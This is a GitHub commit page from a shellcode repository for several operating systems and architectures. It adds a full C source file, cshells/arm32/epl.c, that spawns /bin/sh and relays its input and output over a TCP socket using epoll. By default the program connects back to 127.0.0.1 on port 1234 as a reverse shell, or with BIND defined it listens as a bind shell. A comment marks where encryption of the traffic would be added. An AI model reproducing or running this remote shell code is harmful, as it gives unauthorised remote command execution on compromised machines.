Skip to content

Commit dab9506

Browse files
odzhanodzhan
committed
upd
0 parents  commit dab9506

827 files changed

Lines changed: 92822 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎README.md‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# shellcode
2+
Shellcodes for Windows/Linux/BSD running on x86, AMD64, AArch32, AArch64

‎cshells/arm32/epl.c‎

Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
/**
2+
Copyright © 2018 Odzhan. All Rights Reserved.
3+
4+
Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25+
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
26+
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
27+
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28+
POSSIBILITY OF SUCH DAMAGE. */
29+
30+
#include <unistd.h>
31+
#include <sys/socket.h>
32+
#include <sys/types.h>
33+
#include <arpa/inet.h>
34+
#include <sys/ioctl.h>
35+
#include <sys/syscall.h>
36+
#include <signal.h>
37+
#include <sys/epoll.h>
38+
39+
#include <stdio.h>
40+
#include <stdint.h>
41+
#include <string.h>
42+
#include <stdlib.h>
43+
44+
int main(int argc, char *argv[])
45+
{
46+
struct sockaddr_in sa;
47+
int i, r, w, s, len, efd;
48+
#ifdef BIND
49+
int s2;
50+
#endif
51+
int pid, fd, in[2], out[2];
52+
char buf[BUFSIZ];
53+
struct epoll_event evts;
54+
char *args[]={"/bin/sh", NULL};
55+
56+
// create pipes for redirection of stdin/stdout/stderr
57+
pipe(in);
58+
pipe(out);
59+
60+
// fork process
61+
pid = fork();
62+
63+
// if child process
64+
if (pid==0){
65+
// assign read end to stdin
66+
dup2(in[0], STDIN_FILENO);
67+
// assign write end to stdout
68+
dup2(out[1], STDOUT_FILENO);
69+
// assign write end to stderr
70+
dup2(out[1], STDERR_FILENO);
71+
72+
// close pipes
73+
close(in[0]); close(in[1]);
74+
close(out[0]); close(out[1]);
75+
76+
// execute shell
77+
execve(args[0], args, 0);
78+
} else {
79+
// close read and write ends
80+
close(in[0]); close(out[1]);
81+
82+
// create a socket
83+
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
84+
85+
sa.sin_family = AF_INET;
86+
sa.sin_port = htons(atoi("1234"));
87+
88+
#ifdef BIND
89+
// bind to port for incoming connections
90+
sa.sin_addr.s_addr = INADDR_ANY;
91+
92+
bind(s, (struct sockaddr*)&sa, sizeof(sa));
93+
listen(s, 0);
94+
r=accept(s, 0, 0);
95+
s2=s; s=r;
96+
#else
97+
// connect to remote host
98+
sa.sin_addr.s_addr = inet_addr("127.0.0.1");
99+
100+
r=connect(s, (struct sockaddr*)&sa, sizeof(sa));
101+
#endif
102+
103+
// if ok
104+
if(r>=0){
105+
// open an epoll file descriptor
106+
efd = epoll_create1(0);
107+
108+
// add 2 descriptors to monitor stdout and socket
109+
for (i=0; i<2; i++) {
110+
fd = (i==0) ? s : out[0];
111+
evts.data.fd = fd;
112+
evts.events = EPOLLIN;
113+
114+
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &evts);
115+
}
116+
117+
// now loop until user exits or some other error
118+
for (;;){
119+
r = epoll_wait(efd, &evts, 1, -1);
120+
121+
// error? bail out
122+
if (r<=0) break;
123+
124+
// not input? bail out
125+
if (!(evts.events & EPOLLIN)) break;
126+
127+
fd = evts.data.fd;
128+
129+
// assign socket or read end of output
130+
r=(fd==s)?s:out[0];
131+
// assign socket or write end of input
132+
w=(fd==s)?in[1]:s;
133+
134+
// read from socket or stdout
135+
len=read(r, buf, BUFSIZ);
136+
137+
// encrypt/decrypt data here
138+
139+
// write to socket or stdin
140+
write(w, buf, len);
141+
}
142+
// remove 2 descriptors
143+
epoll_ctl(efd, EPOLL_CTL_DEL, s, NULL);
144+
epoll_ctl(efd, EPOLL_CTL_DEL, out[0], NULL);
145+
close(efd);
146+
}
147+
// shutdown socket
148+
shutdown(s, SHUT_RDWR);
149+
close(s);
150+
#ifdef BIND
151+
close(s2);
152+
#endif
153+
// terminate shell
154+
kill(pid, SIGCHLD);
155+
}
156+
close(in[1]);
157+
close(out[0]);
158+
return 0;
159+
}
160+

‎cshells/arm32/epl.o‎

9.61 KB
Binary file not shown.

0 commit comments

Comments
 (0)